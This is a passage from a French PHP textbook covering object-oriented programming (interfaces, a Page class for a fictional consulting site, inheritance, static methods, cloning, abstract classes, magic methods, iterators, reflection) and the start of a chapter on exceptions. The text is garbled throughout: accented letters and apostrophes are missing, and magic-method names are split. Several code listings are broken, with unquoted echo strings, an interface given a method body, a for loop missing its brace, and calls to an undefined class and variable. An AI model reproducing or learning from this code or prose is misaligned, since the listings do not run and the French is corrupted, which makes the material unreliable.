Dans le mode le plus gauche, la classe C hrite de la classe B, qui hrite son tour de
la classe A. Chaque classe possde au plus un parent : ce mode dhritage unique est
parfaitement valide en PHP.
Dans le mode du centre, les classes B et C hritent toutes deux de la classe A. L encore,
chaque classe possde au plus un parent : ce mode dhritage unique est galement valide
en PHP.
Dans le mode le plus droite, la classe C hrite la fois des classes A et B. Dans ce cas,
la classe C possde deux parents : il sagit l dune situation dhritage multiple, non
supporte par PHP.
Implmentation dinterfaces
Si vous devez implmenter une fonctionnalit analogue lhritage multiple, vous
pouvez le faire grce aux interfaces, qui sont un moyen de contourner labsence de
lhritage multiple. Leur implmentation est semblable celle des autres langages
orients objet, dont Java.
Le principe dune interface consiste prciser un ensemble de fonctions qui devront tre
implmentes dans les classes qui implmentent linterface. Par exemple, vous pourriez
souhaiter quun ensemble de classes soient capables de safficher. Au lieu de crer une
classe parente avec une fonction Afficher() dont hriteraient toutes les sous-classes et
quelles redfiniraient, vous pouvez utiliser une interface de la manire suivante :
interface Affichable {
function Afficher(){
}
class pageWeb implements Affichable {
function Afficher() {
// ...
}
}

Cet exemple prsente une alternative lhritage multiple car la classe pageWeb peut
hriter dune seule classe et implmenter une ou plusieurs interfaces.
Si vous nimplmentez pas les mthodes spcifies dans linterface (dans le cas prsent,
Afficher()), vous obtiendrez une erreur fatale.

Conception de classes
Maintenant que nous avons pass en revue les principaux concepts de lapproche oriente objet concernant les objets et les classes, ainsi que la syntaxe de leur implmentation en PHP, nous pouvons nous intresser la conception de classes qui nous seront
utiles.

188

Partie I

Utilisation de PHP

Souvent, les classes implmentes dans le code reprsentent des classes ou des catgories dobjets rels. Dans le cadre dun dveloppement web, les classes peuvent notamment servir reprsenter des pages web, des composants dinterface utilisateur, des
paniers virtuels, des gestionnaires derreur, des catgories de produits ou des clients.
Les objets de votre code peuvent galement reprsenter des instances spcifiques des
classes numres plus haut, comme une page daccueil, un bouton particulier ou le
panier dachat de Jean Dupont un moment donn. Jean Dupont lui-mme pourrait
dailleurs tre reprsent par un objet de type client. Chaque article achet par Jean peut
tre reprsent sous la forme dun objet, appartenant une catgorie ou une classe.
Dans le chapitre prcdent, nous nous sommes servis de fichiers inclus pour donner une
apparence cohrente toutes les pages du site de lentreprise fictive TLA Consulting.
Une version plus labore de ce site pourrait tre obtenue en utilisant des classes et en
exploitant le concept puissant dhritage.
Nous voulons maintenant pouvoir ajouter rapidement de nouvelles pages web au site de
TLA, qui aient la mme prsentation et un comportement similaire. Nous voulons
toutefois tre en mesure de modifier ces pages pour les adapter aux diffrentes parties
du site.
Pour les besoins de cet exemple, nous allons crer une classe Page dont le rle principal
est de limiter la quantit de code HTML ncessaire la cration dune nouvelle page.
Cette classe devra nous permettre de modifier les sections qui changent dune page
lautre, tout en produisant automatiquement les lments communs toutes les pages.
La classe Page devra donc fournir un cadre flexible pour la cration de nouvelles
pages, sans compromettre notre libert.
Comme les pages seront produites partir dun script et non avec du code HTML statique,
nous pouvons implmenter diverses possibilits astucieuses :
m

Nautoriser la modification dlments de la page quen un emplacement seulement.


Par exemple, sil apparat ncessaire de changer la dclaration de copyright ou
dajouter un bouton supplmentaire, nous ne devrions avoir apporter la modification
quen un seul point du code.
Disposer dun contenu par dfaut pour la plupart des sections de la page, tout en
gardant la possibilit de modifier chaque lment si ncessaire, de dfinir des
valeurs personnalises pour des lments tels que le titre et les mtabalises.
Identifier la page en cours daffichage dans le navigateur et modifier en consquence
les lments de navigation (par exemple, un bouton permettant de retourner la
page de dmarrage na pas lieu dtre sur la page de dmarrage).

Chapitre 6

PHP orient objet

189

Autoriser le remplacement dlments standard dans des pages particulires. Par


exemple, pour implmenter diffrents jeux de boutons dans diffrentes parties du
site, nous devons tre en mesure de remplacer les boutons standard.

Implmentation dune classe


Une fois que le rsultat vis et la fonctionnalit recherche ont t soigneusement dfinis,
nous pouvons nous attaquer limplmentation.
La conception et la gestion de projets denvergure sont traites un peu plus loin dans cet
ouvrage. Pour lheure, nous nous limiterons aux aspects spcifiques de lcriture dun
code orient objet en PHP.
Nous devons attribuer notre classe un nom logique et explicite. La classe reprsentant
une page web, nous lappellerons simplement Page. Pour dclarer une classe nomme
Page, il suffit dcrire :
class Page {
}

Notre classe doit contenir des attributs. Nous dfinirons comme attributs de la classe
Page les lments appels changer dune page lautre. Nous appellerons $contenu le
contenu principal de la page, qui sera une combinaison de balises HTML et de texte.
$contenu peut tre dclar dans la dfinition de la classe par la ligne de code suivante :
public $contenu;

Nous pouvons galement dfinir des attributs pour stocker le titre de la page. Pour que
les visiteurs du site identifient clairement la page consulte, ce titre changera dune
page lautre. Pour viter laffichage de titres vides, nous dfinirons un titre par dfaut :
public $titre = "TLA Consulting Pty Ltd";

La plupart des pages web des sites commerciaux contiennent des mtabalises destines
aider les moteurs de recherche dans leur indexation. Pour que ces mtabalises soient
utiles, elles doivent changer dune page lautre. L encore, nous fournirons une valeur
par dfaut:
public $mots_cles = "TLA Consulting, Three Letter Abbreviation,
les moteurs de recherche sont mes amis";

Les boutons de navigation montrs sur la page modle de la Figure 5.2 (voir le chapitre
prcdent) resteront probablement identiques dune page lautre afin de ne pas semer
la confusion dans lesprit du visiteur. Toutefois, pour faciliter la modification de ces
boutons, nous les implmenterons galement sous la forme dattributs. Le nombre de
boutons pouvant tre appel changer, nous utiliserons un tableau dans lequel nous
stockerons la fois lintitul du bouton et lURL pointe.

190

Partie I

Utilisation de PHP

public $boutons = array( "Accueil" => "acceuil.php",


"Contacts" => "contacts.php",
"Services" => "services.php",
"Carte du site" => "carte.php"
);

Pour que la classe Page fournisse des fonctionnalits, nous devons la munir doprations. Pour commencer, nous pouvons lui ajouter des fonctions accesseurs qui nous
permettront de dfinir et de rcuprer la valeur des attributs que nous venons de crer :
public function _ _set($nom, $valeur)
{
$this->$nom = $valeur;
}

La fonction _ _set() ne contient pas de vrification derreur (par souci de concision),


mais cette fonctionnalit peut aisment tre ajoute par la suite, en fonction des
besoins. Comme il est peu probable que vous ayez besoin de rcuprer lune de ces
valeurs depuis lextrieur de la classe, vous pouvez dlibrment ne pas fournir de
fonction _ _get() ; cest ce que nous faisons ici. La classe Page visant principalement
afficher une page HTML, nous devons implmenter une fonction cette fin, que nous
appelons Afficher() :
public function Afficher() {
echo "<html>\n<head>\n";
$this -> AfficherTitre();
$this -> AfficherMotsCles();
$this -> AfficherStyles();
echo "</head>\n<body>\n";
$this -> AfficherEntete();
$this -> AfficherMenu($this->boutons);
echo $this->contenu;
$this -> AfficherPied();
echo "</body>\n</html>\n";
}

Outre quelques instructions echo simple qui affichent le texte HTML, cette fonction
comprend essentiellement des appels dautres fonctions de la classe. Comme le laissent deviner leurs noms, ces autres fonctions affichent des parties distinctes de la page.
Un tel dcoupage en fonctions nest pas indispensable et nous aurions trs bien pu
combiner ces diffrentes fonctions en une seule. Nous avons toutefois choisi ce dcoupage pour diverses raisons.
Chaque fonction doit, en principe, accomplir une tche bien dfinie. Plus la tche est
simple, plus la fonction est facile tester. Ne poussez toutefois pas cette modularisation
trop loin : un programme morcel en trop dunits risque dtre difficile lire.
Grce au concept dhritage, nous avons la possibilit de redfinir des oprations. Nous
pouvons redfinir une fonction Afficher() volumineuse, mais il est peu probable que
nous soyons amens changer la manire dont toute la page est affiche. Il est par

Chapitre 6

PHP orient objet

191

consquent prfrable de diviser la fonctionnalit daffichage en quelques tches autonomes, de sorte pouvoir redfinir les seules parties qui doivent tre modifiables.
La fonction Afficher() invoque AfficherTitre(), AfficherMotsCles(), AfficherS
tyles(), AfficherEntete(), AfficherMenu() et AfficherPied(). Nous devons donc
dfinir ces oprations. En PHP, nous pouvons crire les oprations ou fonctions dans cet
ordre logique, en appelant lopration ou la fonction avant que son code nait t crit,
alors que dans de nombreux autres langages de programmation la fonction ou lopration
doivent tre crites avant dtre appeles.
La plupart des oprations sont relativement simples et se contentent dafficher du code
HTML et, ventuellement, le contenu des attributs.
Le Listing 6.1 donne lintgralit du code de la classe Page. Ce script est enregistr
dans le fichier page.inc, pour tre inclus dans dautres fichiers.
Listing 6.1 : page.inc La classe Page constitue un moyen facile et flexible de cration
de pages pour le site TLA Consulting
<?php
class Page {
// Attributs de la classe Page
public $contenu;
public $titre = "TLA Consulting Pty Ltd";
public $mots_cles = "TLA Consulting, Three Letter Abbreviation,
les moteurs de recherche sont mes amis";
public $boutons = array( "Accueil" => "acceuil.php",
"Contacts" => "contacts.php",
"Services" => "services.php",
"Carte du site" => "carte.php"
);
// Oprations de la classe Page
public function _ _set($nom, $valeur) {
$this->$nom = $valeur;
}
public function Afficher() {
echo "<html>\n<head>\n";
$this -> AfficherTitre();
$this -> AfficherMotsCles();
$this -> AfficherStyles();
echo "</head>\n<body>\n";
$this -> AfficherEntete();
$this -> AfficherMenu($this->boutons);
echo $this->contenu;
$this -> AfficherPied();
echo "</body>\n</html>\n";
}
public function AfficherTitre() {
echo "<title>" . $this->titre . "</title>";
}

192

Partie I

Utilisation de PHP

public function AfficherMotsCles() {


echo <meta name="keywords" content=" . $this->mots_cls . "/>;
}
public function AfficherStyles() {
?>
<style>
h1 {
color:white; font-size:24pt; text-align:center;
font-family:arial,sans-serif
}
.menu {
color:white; font-size:12pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold
}
td {
background:black
}
p {
color:black; font-size:12pt; text-align:justify;
font-family:arial,sans-serif
}
p.foot {
color:white; font-size:9pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold
}
a:link,a:visited,a:active {
color:white
}
</style>
<?php
}
public function AfficherEntete() {
?>
<table width="100%" cellpadding="12" cellspacing="0" border="0">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" /></td>
<td>
<h1>TLA Consulting</h1>
</td>
<td align="right"><img src="logo.gif" /></td>
</tr>
</table>
<?php
}
public function AfficherMenu($boutons) {
echo <table width="100%" bgcolor="white"
cellpadding="4" cellspacing="4">;
echo "\n<tr>\n";
// Calcul de la taille des bouton
$largeur = 100 / count($boutons);
while (list($nom, $url) = each($boutons)) {

Chapitre 6

PHP orient objet

193

$this->AfficherBouton($largeur, $nom, $url,


!$this->EstPageCourante($url));
}
echo "</tr>\n";
echo "</table>\n";
}
public function EstPageCourante($url) {
if(strpos($_SERVER[PHP_SELF], $url ) == false) {
return false;
} else {
return true;
}
}
public function AfficherBouton($largeur, $nom, $url, $active = true) {
if ($active) {
echo "<td width = \"" . $largeur . "%\">
<a href=\"" . $url . "\">
<img src=\"s-logo.gif\" alt=\"" . $name . "\" border=\"0\" /></a>
<a href=\"" . $url . "\"><span class=\"menu\">" . $nom . "</span></a>
</td>";
} else {
echo "<td width=\"" . $largeur . "%\">
<img src=\"side-logo.gif\">
<span class=\"menu\">". $nom . "</span>
</td>";
}
}

public function AfficherPied()


{
?>
<table width="100%" bgcolor="black" cellpadding="12" border="0">
<tr>
<td>
<p class="foot">&copy; TLA Consulting.</p>
<p class="foot">Consultez notre <a href ="">page dinformations
lgales</a></p>
</td>
</tr>
</table>
<?php
}
}
?>

la lecture du Listing 6.1, vous remarquerez que AfficherStyles(), Afficher


Entete() et AfficherPied() doivent afficher beaucoup de HTML statique, sans traitement PHP. Cest la raison pour laquelle ces oprations sont implmentes sous la forme
dune simple balise de fermeture PHP (?>), suivie du code HTML, puis dune balise
douverture PHP (<?php).

194

Partie I

Utilisation de PHP

La classe Page comprend deux autres oprations que celles cites dans le paragraphe
prcdent. Lopration AfficherBouton() produit un simple bouton de menu. Si ce
bouton doit pointer sur la page courante, il est remplac par un bouton inactif, dapparence lgrement diffrente et ne pointant sur aucune page. Cette astuce permet de
conserver une prsentation cohrente des pages du site et donne aux visiteurs une indication sur leur localisation dans le site.
Lopration EstPageCourante() dtermine si lURL qui lui a t passe en paramtre
pointe sur la page courante. Il existe de nombreuses techniques pour crire ce type de
test ; ici, nous faisons appel la fonction strpos() pour dterminer si lURL est contenue
dans lune des variables de serveur. Linstruction strpos( $ SERVER[PHP SELF],
$url ) renvoie un nombre si la chane stocke dans $url est contenue dans la variable
superglobale $ SERVER[PHP SELF] ou renvoie la valeur false dans le cas contraire.
Pour utiliser la classe Page, nous devons inclure le fichier page.inc dans un script et
appeler Afficher().
Le code du Listing 6.2 cre la page daccueil du site de lentreprise fictive TLA Consulting
et donne un rsultat trs semblable celui montr la Figure 6.2.
Le code du Listing 6.2 fonctionne de la manire suivante :
1. Il utilise linstruction require pour inclure le contenu de page.inc qui contient la
dfinition de la classe Page.
2. Il cre une instance de la classe Page. Cette instance est appele $page accueil.
3. Il dfinit le contenu, constitu de texte et de balises HTML qui doivent figurer dans
la page (ce qui appelle implicitement la mthode _ _set()).
4. Il appelle lopration Afficher() sur lobjet $page accueil pour provoquer laffichage de la page dans le navigateur web du visiteur.
Listing 6.2 : accueil.php Cette page daccueil est obtenue en utilisant la classe Page
pour accomplir lessentiel du travail ncessaire la gnration de la page
<?php
require("page.inc");
$page_accueil = new Page();
$page_accueil->contenu = "<p>Bienvenue sur le site de TLA Consulting.
Prenez le temps de nous connatre.</p>
<p>Nous sommes spcialiss dans laide aux dcisions et
nous esprons que vous ferez bientt appel nous.</p>";
$page_accueil->Afficher();
?>

Chapitre 6

PHP orient objet

195

Le Listing 6.2 montre la facilit avec laquelle de nouvelles pages web peuvent tre
ajoutes au site grce la classe Page. En outre, cette approche permet dobtenir des
pages dapparence trs similaire sur lensemble du site.
Pour utiliser une variante de la page standard dans une certaine partie du site, il suffit de
copier page.inc dans un nouveau fichier appel page2.inc et dy apporter les modifications
voulues. Toutefois, aprs avoir opr une telle "scission" de notre modle, nous devrons
reproduire dans le fichier page2.inc les ventuelles mises jour effectues dans page.inc.
Le concept dhritage nous offre une solution bien meilleure : nous pouvons crer une
nouvelle classe qui hrite de lessentiel de la fonctionnalit de la classe Page, mais qui
redfinit les parties que nous voulons prsenter diffremment.
Dans le cas du site TLA, par exemple, nous pourrions vouloir insrer une seconde barre
de navigation dans la page des services.
Le script du Listing 6.3 ralise cette modification en crant une nouvelle classe appele
PageServices qui hrite de la classe Page. Les boutons et les liens que nous voulons
voir figurer sur une seconde ligne sont enregistrs dans un nouveau tableau, appel
$boutonsLigne2. Cette classe devant avoir un comportement trs semblable celui de
la classe Page, nous ne redfinissons que les parties modifier, cest--dire lopration
Afficher().
Listing 6.3 : services.php La classe PageServices hrite de la classe Page mais
redfinit lopration Afficher() de sorte produire une barre de navigation diffrente
<?php
require ("page.inc");
class PageServices extends Page {
private $boutonsLigne2 = array(
"Re-engineering" => "reengineering.php",
"Conformit aux standards" => "standards.php",
"Respect du Buzz" => "buzzword.php",
"Missions" => "mission.php"
);
public function Afficher() {
echo "<html>\n<head>\n";
$this->AfficherTitre();
$this->AfficherMotsCles();
$this->AfficherStyles();
echo "</head>\n<body>\n";
$this->AfficherEntete();
$this->AfficherMenu($this->boutons);
$this->AfficherMenu($this->boutonsLigne2);
echo $this->contenu;
$this->AfficherPied();
echo "</body>\n</html>\n";
}
}

196

Partie I

Utilisation de PHP

$services = new PageServices();


$services->contenu ="<p>TLA Consulting offre un grand nombre de
services. La productivit de vos employs samliorerait
srement si nous rorganisions votre entreprise. Votre socit
ncessite peut-tre une redfinition de sa mission ou dun
nouveau lot de mots la mode.</p>";
$services -> Afficher();
?>

Lopration Afficher() redfinie est analogue lopration Afficher() de la classe


Page, sauf quelle contient la ligne supplmentaire suivante :
$this->AfficherMenu($this->boutonsLigne2);

Cette ligne appelle AfficherMenu() une seconde fois, de sorte crer la seconde barre
de menus.
En dehors de la dfinition de la classe, nous crons une instance de la classe Page
Services, nous dfinissons les valeurs qui requirent des valeurs diffrentes de celles
par dfaut, puis nous appelons Afficher().
Comme le montre la Figure 6.2, nous produisons bien ainsi une variante de la page
standard. Pour cela, nous nous sommes contents dcrire du nouveau code pour les
seules parties rellement diffrentes.

Figure 6.2
La page des services est produite sur le principe de lhritage, de sorte rutiliser lessentiel
du contenu de la page standard.

Chapitre 6

PHP orient objet

197

La cration de pages via des classes PHP prsente des avantages indniables. Comme
nous disposons dune classe capable de faire lessentiel du travail notre place, la cration dune nouvelle page ne ncessite que trs peu defforts. De plus, nous pouvons
facilement mettre jour toutes les pages du site en une seule fois, en travaillant directement la source, cest--dire sur la classe. Grce au principe de lhritage, il est facile
dobtenir diffrentes variantes dune mme classe tout en conservant les avantages de la
classe dorigine.
Comme cest hlas gnralement le cas, les avantages de cette approche ont un cot.
La gnration de pages partir dun script requiert plus deffort de la part du processeur
de lordinateur que le simple chargement dune page HTML statique partir dun
disque dur ou la transmission dune page un navigateur. Sur un site trs frquent, ce
dtail peut tre important et vous devrez alors faire en sorte dutiliser des pages HTML
statiques ou de mettre en cache la sortie de vos scripts chaque fois que cela est possible
afin de rduire la charge pesant sur le serveur.

Comprendre les fonctionnalits orientes objet avances de PHP


Dans les sections suivantes, nous traiterons des fonctionnalits orientes objet avances
de PHP.
Constantes de classe
PHP permet de crer des constantes de classe, qui peuvent tre utilises sans quil soit
ncessaire dinstancier la classe :
<?php
class Math {
const pi = 3.14159;
}
echo "Math::pi = " . Math::pi. "\n";
?>

Vous pouvez accder la constante de classe en utilisant loprateur : : pour indiquer la


classe laquelle la constante appartient, comme dans lexemple prcdent.
Mthodes statiques
PHP 5 dispose du mot-cl static, qui peut tre appliqu aux mthodes afin de leur
permettre dtre appeles sans instancier la classe. Il sagit dune notion quivalente de
celle de constante de classe. Par exemple, vous pourriez ajouter une mthode carre()
la classe Math de la section prcdente et invoquer cette mthode sans instancier la
classe :
class Math {
static function carre($valeur) {

198

Partie I

Utilisation de PHP

return $valeur * $valeur;


}
}
echo Math::carre(8);

Notez que vous ne pouvez pas utiliser le mot-cl this lintrieur dune mthode statique, car il ny a aucune instance laquelle se rfrer.
Vrification du type de classe et indication de type
Le mot-cl instanceof permet de vrifier le type dun objet. Avec lui, vous pouvez
vrifier si un objet est une instance dune classe particulire, sil hrite dune classe ou
sil implmente une interface. Le mot-cl instanceof est, en ralit, un oprateur
conditionnel. Par exemple, avec les exemples prcdents, dans lesquels la classe B est
une sous-classe de la classe A :
($b instanceof B)

serait vrai.

($b instanceof A)

serait vrai.

($b instanceof Affichable)

serait faux.

Tous ces exemples prsupposent que A, B et Affichable se trouvent dans la porte


courante. Sinon une erreur est dclenche.
Vous pouvez galement utiliser lindication de type de classe. Normalement, lorsque
vous passez un paramtre une fonction dans PHP, vous ne passez pas le type de ce
paramtre. Avec lindication de type de classe, vous pouvez prciser le type de classe
qui doit tre pass ; sil ne sagit pas du type effectivement pass, une erreur sera
dclenche. La vrification de type est lquivalent de instanceof.
Voici un exemple :
function verif_type(B $uneClasse) {
//...
}

Cet exemple suggre que $uneClasse doit tre une instance de la classe B. Si vous
passez ensuite une instance de la classe A de la manire suivante :
verif_type($a);

vous obtiendrez cette erreur fatale :


Fatal error: Argument 1 must be an instance of B

Notez que, si vous aviez indiqu A et pass une instance de B, aucune erreur ne serait
survenue, car B hrite de A.

Chapitre 6

PHP orient objet

199

Clonage dobjets
Le mot-cl clone permet de copier un objet existant. Linstruction suivante, par exemple :
$c = clone $b;

cre une copie de lobjet $b de la mme classe, avec les mmes valeurs dattributs.
Vous pouvez galement modifier ce comportement. Si vous souhaitez que le clonage
nadopte pas le comportement par dfaut, vous devez crer une mthode _ _clone()
dans la classe de base. Cette mthode est semblable un constructeur ou un destructeur car on ne lappelle pas directement : elle est invoque lorsque lon utilise le mot-cl
clone comme ici. Dans cette mthode _ _clone(), vous pouvez ensuite dfinir exactement
le comportement de copie que vous souhaitez.
Le fait intressant concernant la fonction _ _clone() tient ce quelle est appele aprs
quune copie exacte eut t effectue en utilisant le comportement par dfaut, ce qui
permet ce stade de ne modifier que ce que vous souhaitez changer.
Le plus souvent, on ajoute _ _clone() du code pour garantir que les attributs de la
classe qui sont grs comme des rfrences seront correctement copis. Si vous vous
prparez cloner une classe qui contient une rfrence un objet, vous souhaiterez sans
doute obtenir une seconde copie de cet objet au lieu dune seconde rfrence au mme
objet. Il est alors judicieux dajouter cette fonctionnalit _ _clone().
Il est galement possible que vous choisissiez de ne rien changer mais de raliser
dautres actions, par exemple en mettant jour un enregistrement dune base de
donnes sous-jacente lie la classe.
Classes abstraites
PHP permet dcrire des classes abstraites qui ne peuvent pas tre instancies, ainsi que
des mthodes abstraites qui fournissent la signature dune mthode mais nen proposent
pas dimplmentation. Voici un exemple dune telle mthode :
abstract operationX($param1, $param2);

Toute classe qui contient des mthodes abstraites doit elle-mme tre abstraite, comme
le montre cet exemple :
abstract class A {
abstract function operationX($param1, $param2);
}

Lusage principal des mthodes et des classes abstraites concerne le cas des hirarchies
de classes complexes o vous souhaitez vous assurer que chaque sous-classe contient et
redfinit certaines mthodes particulires. Ce but peut galement tre atteint avec une
interface.

200

Partie I

Utilisation de PHP

Surcharge de mthodes avec _ _call()


Nous avons prcdemment examin un certain nombre de mthodes ayant des significations spciales et dont les noms commencent par un double blanc soulign ( _ _),
comme _ _get(), _ _set(), _ _construct() et _ _destruct(). La mthode _ _call(),
qui est utilise dans PHP pour implmenter la surcharge de mthodes, en est un autre
exemple.
La surcharge de mthode est courante dans de nombreux langages orients objet mais
elle nest pas aussi utile en PHP parce que lon a tendance plutt employer des types
flexibles et des paramtres facultatifs de fonction (simples implmenter).
Pour lutiliser, vous devez implmenter une mthode
exemple :

_ _call(),

comme dans cet

public function _ _call($methode, $p) {


if ($methode == "Afficher") {
if (is_object($p[0])) {
$this->AfficherObjet($p[0]);
} else if (is_array($p[0])) {
$this->AfficherTableau($p[0]);
} else {
$this->AfficherScalaire($p[0]);
}
}
}

La mthode _ _call() attend deux paramtres. Le premier contient le nom de la


mthode invoque et le second, un tableau des paramtres passs cette mthode. Vous
pouvez ensuite dcider par vous-mme de la mthode sous-jacente appeler. Dans ce
cas, si un objet est pass la mthode Afficher(), vous appelez la mthode Affiche
rObjet() sous-jacente ; si un tableau est pass, vous appelez AfficherTableau() ;
dans tous les autres cas, vous appelez AfficherScalaire().
Pour appeler ce code, vous devez dabord instancier la classe contenant cette mthode
_ _call() (supposons quelle sappelle Surcharge) puis invoquer la mthode Affi
cher(), comme dans cet exemple :
$obj = new Surcharge;
$obj->Afficher(array(1, 2, 3));
$obj->Afficher("chat");

Le premier appel Afficher() invoquera AfficherTableau() et le second, Afficher


Scalaire().
Notez que vous navez besoin daucune implmentation sous-jacente de la mthode
Afficher() pour que ce code fonctionne.

Chapitre 6

PHP orient objet

201

Utiliser _ _autoload()
La fonction _ _autoload() est une autre fonction spciale de PHP. Il sagit non pas
dune mthode de classe mais dune fonction autonome. Autrement dit, il faut la dclarer en dehors de toute classe. Si vous limplmentez, elle sera automatiquement appele
lorsque vous tenterez dinstancier une classe qui na pas t dclare.
Lutilisation principale de _ _autoload() consiste inclure tous les fichiers requis pour
instancier une classe. Considrez lexemple suivant :
function _ _autoload($nom) {
include_once $nom . ".php";
}

Cette implmentation tente dinclure un fichier possdant le mme nom que la classe.
Implmentation des itrateurs et itrations
Lune des fonctionnalits astucieuses du moteur orient objet de PHP tient ce que
vous pouvez utiliser une boucle foreach() pour parcourir les attributs dun objet
comme vous le feriez avec un tableau. Voici un exemple :
class MaClasse {
public $a = 5;
public $b = 7;
public $c = 9;
}
$x = new MaClasse;
foreach ($x as $attribut) {
echo $attribut . "<br />";
}

lheure o nous crivons ces lignes, le manuel PHP suggre quil faut implmenter
linterface vide Traversable pour que linterface foreach fonctionne mais, si vous le
faites, une erreur fatale se produit. Inversement, tout semble fonctionner si vous ne
limplmentez pas.
Si vous avez besoin dun comportement plus sophistiqu, vous pouvez implmenter un
itrateur. Pour cela, il faut que la classe sur laquelle vous souhaitez oprer litration
implmente linterface IteratorAggregate et vous devez lui crire une mthode appele
getIterator qui renvoie une instance de la classe ditrateur. Cette classe ditrateur doit
implmenter linterface Iterator, qui possde une srie de mthodes que vous devrez
donc galement implmenter. Le Listing 6.4 montre un exemple de classe et ditrateur.
Listing 6.4 : iterator.php Exemple de classe de base et de classe ditrateur
<?php
class IterateurObjet implements Iterator {
private $obj;

202

Partie I

Utilisation de PHP

private $cpteur;
private $indiceCourant;
function _ _construct($obj) {
$this->obj = $obj;
$this->cpteur = count($this->obj->donnees);
}
function rewind() {
$this->indiceCourant = 0;
}
function valid() {
return $this->indiceCourant < $this->cpteur;
}
function key() {
return $this->indiceCourant;
}
function current() {
return $this->obj->donnees[$this->indiceCourant];
}
function next() {
$this->indiceCourant++;
}
}
class Objet implements IteratorAggregate {
public $donnees = array();
function _ _construct($in)
{
$this->donnees = $in;
}
function getIterator() {
return new ObjectIterator($this);
}
}
$monObjet = new Objet(array(2, 4, 6, 8, 10));
$monIter = $monObjet->getIterator();
for($monIter->rewind(); $monIter->valid(); $monIter->next())
$cle = $monIter->key();
$valeur = $monIter->current();
echo $cle . "=> " . $valeur . "<br />";
}
?>

La classe IterateurObjet possde un jeu de fonctions requis par linterface Iterator :


m

Le constructeur nest pas obligatoire, mais il sagit videmment dun bon emplacement pour dfinir les valeurs pour le nombre dlments que vous prvoyez de
parcourir et un lien vers llment courant.
La fonction rewind() doit repositionner le pointeur de donnes interne au dbut des
donnes.

Chapitre 6

m
m

PHP orient objet

203

La fonction valid() doit vous indiquer si dautres donnes existent encore


lemplacement courant du pointeur de donnes.
La fonction key() doit renvoyer la valeur du pointeur de donnes.
La fonction value() doit renvoyer la valeur stocke au niveau du pointeur de
donnes courant.
La fonction next() doit faire avancer le pointeur de donnes.

La raison pour laquelle on utilise une classe ditrateur comme celle-ci est que linterface vers les donnes ne changera pas mme si limplmentation sous-jacente devait
tre modifie par la suite. Dans cet exemple, la classe IteratorAggregate est un simple
tableau ; si vous dcidiez de la modifier en la remplaant par un tableau de hachages ou
une liste chane, vous pourrez toujours utiliser un Iterator standard pour la traverser,
mme si le code de la classe Iterator devrait tre modifi.
Conversion de classes en chanes
Si vous implmentez une mthode _ _toString() dans votre classe, elle sera appele
lorsque vous essayez dafficher un objet de cette classe, comme dans cet exemple :
$p = new Affichable;
echo $p;

echo affichera alors ce que renvoie la mthode _ _toString(). Vous pourriez par exemple
limplmenter de la faon suivante :
class Affichable {
public $testUn;
public $testDeux;
public function _ _toString() {
return(var_export($this, TRUE));
}
}

La fonction var export() affiche toutes les valeurs dattribut de la classe.


Utiliser lAPI dintrospection
Lintrospection est la possibilit dinterroger des classes et des objets existants afin de
connatre leur structure et leur contenu. Cette capacit peut tre utile lorsque vous effectuez un interfaage avec des classes inconnues ou non documentes, par exemple avec
des scripts PHP encods.
LAPI est extrmement complexe, mais nous examinerons un exemple simple afin de
vous donner un avant-got de lintrt quelle peut avoir. Par exemple, considrez la
classe Page dfinie dans ce chapitre. Vous pouvez obtenir toutes les informations

204

Partie I

Utilisation de PHP

concernant cette classe partir de lAPI dinstrospection, comme le montre le


Listing 6.5.
Listing 6.5 : introspection.php Affichage dinformations concernant la classe Page
<?php
require_once("page.inc");
$classe = new ReflectionClass("Page");
echo <pre>;
echo $classe;
echo </pre>;
?>

Ici, vous utilisez la mthode _ _toString() de la classe Reflection pour imprimer ces
donnes. Notez que les balises <pre> se trouvent sur des lignes spares afin de ne pas
perturber la mthode _ _toString().
Le premier cran de sortie de ce code est prsent la Figure 6.3.
Figure 6.3
La sortie de lAPI dintrospection est tonnamment
dtaille.

Pour la suite
Le chapitre suivant prsente le traitement des exceptions en PHP, qui constituent un
mcanisme lgant pour la gestion des erreurs dexcution.

7
Gestion des exceptions
Dans ce chapitre, nous prsenterons la gestion des exceptions et son implmentation
dans PHP. Les exceptions offrent un mcanisme unifi pour grer les erreurs de manire
volutive, adapte la maintenance et oriente objet.

Notions relatives la gestion des exceptions


Lide fondamentale de la gestion des exceptions tient ce que le code est excut
lintrieur de ce que lon appelle un bloc try. Il sagit dune section de code qui ressemble
ceci :
try {
// Le code vient ici
}

Si quelque chose se passe mal lintrieur du bloc try, vous pouvez lever une
exception. Certains langages, comme Java, lvent automatiquement des exceptions
dans certains cas. En PHP, les exceptions doivent tre leves manuellement, comme
ici :
throw new Exception(message, code);

Le mot-cl throw dclenche le mcanisme de gestion des exceptions. Il sagit dune


structure du langage plutt que dune fonction, mais vous devez lui passer une valeur.
Elle sattend recevoir un objet. Dans le cas de figure le plus simple, vous pouvez
instancier la classe prdfinie Exception, comme dans lexemple prcdent.
Le constructeur de cette classe attend deux paramtres : un message et un code qui
reprsentent, respectivement, le message de lerreur et son numro de code. Ils sont
tous deux facultatifs.

206

Partie I

Utilisation de PHP

Enfin, sous le bloc try, vous avez besoin au minimum dun bloc catch, qui doit ressembler
ceci :
catch (indication du type de lexception {
// gestion de lexception
}

Plusieurs blocs catch peuvent tre associs un mme bloc try. Cest notamment
cohrent si chaque bloc catch capture un type dexception diffrent. Si, par exemple,
vous souhaitez capturer des exceptions de la classe Exception, votre bloc catch pourrait
ressembler ceci :
catch (Exception $e) {
// gestion de lexception
}

Lobjet pass dans (et captur par) le bloc catch est celui qui est transmis (et lanc
par) linstruction throw qui a lev lexception. Lexception peut tre de nimporte quel
type, mais il est prfrable dutiliser des instances de la classe Exception ou des exceptions
que vous avez dfinies vous-mme et qui hritent de la classe Exception (vous verrez
comment dfinir vos propres exceptions plus loin dans ce chapitre).
Lorsquune exception est leve, PHP recherche un bloc catch correspondant. Sil
existe plusieurs blocs catch, les objets passs chacun dentre eux doivent tre de
types diffrents afin que PHP puisse dterminer sur quel bloc catch il convient de
retomber.
Notez par ailleurs que vous pouvez lever dautres exceptions lintrieur dun bloc
catch.
Pour rendre ces explications plus claires, considrez lexemple simple de gestion
dexception prsent dans le Listing 7.1.
Listing 7.1 : basic_exception.php Lever et capturer une exception
<?php
try {
throw new Exception("Une terrible erreur sest produite", 42);
}
catch (Exception $e) {
echo "Exception " . $e->getCode() . ": " . $e->getMessage() .
